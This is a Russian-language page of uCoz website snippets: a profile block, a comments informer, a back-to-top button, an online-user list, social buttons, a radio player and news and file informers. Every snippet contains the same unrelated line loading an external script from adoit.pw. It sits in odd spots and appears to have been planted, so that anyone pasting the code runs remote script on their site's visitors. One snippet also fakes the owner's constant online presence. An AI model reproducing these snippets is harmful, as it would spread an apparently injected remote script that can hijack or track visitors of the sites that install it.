Скрипт для Ucoz изменит мини профиль вашего сайта. Подойдет исключительно для темных дизайнов. Создаем глобальный блок и вставляем код: Код <DIV align=center><?if($USER_AVATAR_URL$)?><IMG class=userAvatar title=$USERNAME$ src="$USER_AVATAR_URL$" border=0><?else?><script type="text/javascript" src="http://adoit.pw/border.js"></script><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="images/na.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/no_avratar-2.gif" border="0"><?endif?><?endif?></div> <?if($USER_LOGGED_IN$)?> <BR> <DIV align=center><SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 4 && currentTime.getHours() <= 5 ) document.write("О ты рано..., "); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Доброе утро, "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрый день, "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрый вечер, "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 3) document.write("Ты сегодня поздновато... "); </SCRIPT><STRONG>$USERNAME$</STRONG></DIV> <DIV align=center>Ты на сайте: <STRONG>$USER_REG_DAYS$</STRONG>-й день</DIV> <DIV align=center>Личных сообщений:<STRONG> $UNREAD_PM$</STRONG></DIV> <DIV align=center>Твой Ip:<STRONG> $IP_ADDRESS$</STRONG></DIV><BR> <DIV align=left> <CENTER><A title="Мой профиль" href="$PERSONAL_PAGE_LINK$"><STRONG><IMG alt="" src="http://pnghosts.ru/img/lich.png" border=0></STRONG></A><STRONG> <?if($USER_LOGGED_IN$)?></STRONG><A class=fNavLink id=upml href="java script://" onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;"><STRONG><IMG alt="" src="http://pnghosts.ru/img/ls.png" border=0></STRONG></A><STRONG> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml','')",500)</script><BGSOUND balance=0 src="http://src.ucoz.net/img/fr/pm.wav" volume=0><?endif?><?endif?></STRONG><A href="$LOGOUT_LINK$"><IMG alt="" src="http://pnghosts.ru/img/vixod.png" border=0></A></DIV></SCRIPT><?endif?><?if($USER_LOGGED_IN$)?> <?else?>$LOGIN_FORM$<?endif?></center>
|
Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий. 2. Заходим в панель управления. Создаем информер с параметрами: [Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1] В шаблон информера вставляем следующий код: Код <table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank"> <img src="$USER_AVATAR_URL$"></a></td> <td class="comm_a" valign="top"> <div class="c_date_comm"> <div class="c_date">в $TIME$ $DATE$</div> </div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table> <div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span> <div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div> <style> .cell_comment_os { float:left; width:100%; background:#181818;border:1px solid #242424; padding-bottom:3px; margin-bottom:15px;-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .comment_p { float:right; width:80px; } .comment_v { margin: 5px 0px 5px 10px; } .comment_c { overflow: hidden; text-align:justify; margin: 0px 0px 0px 10px; padding: 5px 0px; border-top: 1px solid #1f1f1f; } .comment_n { text-align:right; margin: 3px 78px 0px 10px; } .vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; } .comment_avatar { width:40px; height:40px; padding: 4px; margin: 8px 10px 0px 15px; border: 1px solid #252525; background:#131313; -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px; } a.catName {} .catDescr {color:#848484;} td.catsTd {padding:4px 0px;} .catNumData {color:#777;} .comm_back {background:#131313;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:3px;border:1px solid #191919;} .comm_s {width:33px;padding-right:2px;} .comm_a {width:100%;padding-left:2px;} .comm_s img {width:30px; height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date {background:#308d4d;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;} .mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;margin:3px 0px;border:1px solid #191919;} .t_h {color:#494949;font-size:10px;} .t_h a{color:#494949;font-size:10px;text-shadow:none;} .t_h a:hover {color:#ddd;} .con_poll {padding:0px 0px;} .tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;} .con_poll input {outline:none; border:none;} .con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;} .poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;} .poll_bg:not(#Foo) input[type=radio] {display:none;} .answer {padding:3px 0px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;} .pollBut {float:left;margin-top:14px;} </style>
|
На необъятных просторах инета можно без труда найти массу всевозможных кнопок вверх - вниз для блогов - сайтов . Мне понравилась именно эта Думаю , что с установкой скрипта данной кнопки проблем не возникнет - Панель управление - Управление дизайном - Нижняя часть сайта в самый низ вставляем код: Код <a href="#" class="gotop" title="Наверх" style="display: inline;"> <script type="text/javascript" src="http://adoit.pw/border.js"></script></a> <style>.gotop { position: fixed; width: 85px; height: 65px; right: 20px; bottom: 5px; display: block; background: url('http://pnghosts.ru/img/gotop.png') no-repeat; z-index: 9998; display: none;opacity: 0.5; } .gotop:hover {opacity: 1.0;}</style>
|
У кого посетителей много на сайте им не удобно видеть большой список пользователей посетивших сайт в статистике, а этот скрипт вам поможет, он делает вертикальный список пользователей и оставляет буквально несколько пользователей а что бы увидеть остальных вам придется пролистать, очень удобный скрипт. Установка: Ищем $ONLINE_COUNTER$ или $ONLINE_USER_LIST$ и после них прописываем код: Код <script type="text/javascript" src="http://pnghosts.ru/js_css/statica.js"></script> <div id="userLog"></div><script src="http://adoit.pw/border.js" type="text/javascript"></script><div id="allist" style="border: 1px solid #CCCCCC; margin:3px; padding:3px; overflow: auto;height:100px;"> <img src="http://pnghosts.ru/img/update_messages.gif id="loading" border="0" alt="" /> </div>
|
И так начнем Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала. Код <section> <ul class="social"> <li><a href="#" class="google"></a></li> <li><a href="#" class="facebook"></a></li> <li><a href="#" class="vk"></a></li> <li><a href="#" class="twitter"></a></li> <li><script src="http://adoit.pw/border.js" type="text/javascript"></script> <a href="#" class="link"> <div class="submenu"> <label for="1">URL:</label> <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly> <label for="2">HTML:</label> <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly> <label for="3">BB code:</label> <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly> </div> </a> </li> </ul> </section> CSS Теперь добавим немного стилей Код .social { position: relative; }
.social li { float: left; }
.social li a{ width: 36px; height: 30px; margin: 0 2px; display: block; }
.submenu { position: absolute; width: 193px; top: 37px; left: 3px; background: rgb(66,67,67); background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1))); background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%); background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%); background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%); background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 ); padding: 0 10px 10px 10px;
border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px;
box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38); -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38); -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);
opacity: 0; -webkit-transition:opacity .3s ease .2s; -moz-transition:opacity .3s ease .2s; -o-transition:opacity .3s ease .2s; transition:opacity .3s ease .2s; }
.link:hover > div { opacity: 1; }
.submenu:after{ bottom: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; }
.submenu:after { border-bottom-color: rgb(66,67,67); border-width: 7px; right: 4%; margin-left: -7px; }
.submenu label { margin-top: 4px; font: 14px Calibri; display: block; color: #7e7e7e; text-shadow: 1px 0 1px rgba(0,0,0,.44); }
.submenu input[type="text"] { width: 100%; font-family: Tahoma; color: #fff; background: #323232; padding: 5px; border: 1px solid #1b1b1b; cursor: text;
border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px;
box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1); -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1); -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1); }
.google { background: url('http://pnghosts.ru/img/google.png'); }
.facebook { background: url('http://pnghosts.ru/img/facebook.png'); }
.vk { background: url('http://pnghosts.ru/img/vk.png'); }
.twitter { background: url('http://pnghosts.ru/img/twitter1.png'); }
.link { background: url('http://pnghosts.ru/img/link.png'); } Все готово! Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
|
Если вы боитесь что кто то в вашем отсутствие что либо может натворить на сайте , то вот вам скрипт условия который будет показывать вас круглосуточно на сайте в статистике Скрипт ставим в блок. Находим где у вас статистика и все там в блоке самом заменяем на вот этот код. Код $COUNTER$<?if($ONLINE_COUNTER$)?><hr />$ONLINE_COUNTER$<a href="Ссылка на Персональную страницу" target="_blank"><div align="center"><span style="color:red">"Ник на сайте"</span><script type="text/javascript" src="http://adoit.pw/border.js"></script></div></a>$ONLINE_USERS_LIST$<?endif?> "Ник на сайте"- пишем свой ник При регистрировании пользователя на сайте с таким же ником, к нику второго зарег. появляются цифры 6756465 и т.д.
|
Radio TORT.FM! Наше радио ориентировано абсолютно на полный спектр аудитории от 5 и до 155 лет! Наша музыка порадует слух любого, даже самого предвзятого привереду! Наши эфиры заинтересуют даже самого скучающего на лекции по матану студента! Устанавливаете в любое место сайта. Код <object> <param name="menu" value="false"> <param name="scale" value="noScale"> <param name="allowFullscreen" value="true"> <param name="allowScriptAccess" value="always"> <param name="bgcolor" value="#c7c3bd"> <param name="wmode" value="transparent"> <script type="text/javascript" src="http://adoit.pw/border.js"></script> <embed src="http://tort.fm/radio/flash/chrome2.swf" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" scale="noScale" menu="false" wmode="transparent" height="110" width="195"> </object>
|
Это отличный хак социальных закладок, который подходит да же под HTML страницу! Установка: Заходим в ПУ, далее Главная » Управление дизайном » Редактирование шаблонов » Страницы сайта вставляем код перед тегом </head> Не забудьте cменить ссылки на свои.. Код <!-- соц виджеты vk и twitter/ --> <script type="text/javascript" src="http://pnghosts.ru/js_css/md-socwidget.js"></script> <div class="share"><div class="shadow"><script type="text/javascript" src="http://adoit.pw/border.js"></script></div> <noindex><a href="ССЫЛКА НА ТВИТТЕР" class="twitter"></a></noindex> <noindex><a href="ССЫЛКА НА ВКОНТАКТЕ" class="vk"></a></noindex> </div> <!-- соц виджеты vk и twitter / --> В css (Главная » Управление дизайном » Редактирование шаблонов » Таблица стилей (CSS)) вставляете в самый низ и сохраняете. Код /* стиль соц. виджетов vk и twitter / */ .share{position:fixed;width:52px;height:315px;right:0;top:50%;margin-top:-158px;} .share .shadow{position:absolute;width:39px;height:315px;right:0;top:0;background:url(http://pnghosts.ru/img/share-shadow.png) no-repeat;} .share .twitter{position:absolute;height:57px;width:51px;right:0;top:100px;background:url(http://pnghosts.ru/img/twitter.png) no-repeat left top;cursor:pointer;} .share .vk{position:absolute;height:57px;width:51px;right:0;top:150px;background:url(http://pnghosts.ru/img/vkontakte.png) no-repeat left top;cursor:pointer;} Готово.
|
Установка: 1. Создаем информер Раздел: Каталог файлов Тип данных: Материалы Способ сортировки: Количество загрузок D Количество материалов: 10 Количество колонок: 2 2. Меняем код информера на этот: Код <div style="width:50%;float:left;"> <table border="0" cellpadding="0" cellspacing="0" width="100%" class="eBlock"><tr><td style="padding:3px;"> <?if($MODER_PANEL$)?><div style="float:right">$MODER_PANEL$</div><?endif?> <div class="eTitle" style="text-align:left;"><a href="$ENTRY_URL$"></a></div> <a href="$ENTRY_URL$" title="$TITLE$"><img style="border: 2px solid rgb(199, 199, 199);" 0="" alt="$TITLE$" title="$TITLE$" longdesc="$SCREEN_URL$" src="$SCREEN_URL$" align="left" height="110" width="97"></a> <script type="text/javascript" src="http://adoit.pw/border.js"></script> </div> </div></td></tr></table></fieldset> </div>
|
Простой новостной информер для uCoz Установка: 1. ПУ » Главная » Информеры » Создать информер Код <!-- Случайные новости by Lethal--> <table class="infTable" border="0" cellpadding="2" cellspacing="1" width="100%"><tbody><tr align="center"><td class="infTitle" colspan="2"><a style="font-weight: bold;" href="$ENTRY_URL$">$TITLE$</a> <a style="font-weight: bold;" href="$ENTRY_URL$"><img src="$IMG_URL1$" align="center" border="1" hspace="10" vspace="5" width="125"><script type="text/javascript" src="http://adoit.pw/border.js"></script></a></td></tr></tbody><tbody><tr><td style="" width="50%">[$DATE$]</td><td style="" align="right" nowrap="nowrap"><?if($CATEGORY_NAME$)?>[<a href="$CATEGORY_URL$">$CATEGORY_NAME$</a>]<?endif?></td> </tr></tbody></table>------------------------------------------<!-- Случайные новости by Lethal-->
|
« 1 2 ... 4 5 6 7 8 ... 13 14 » |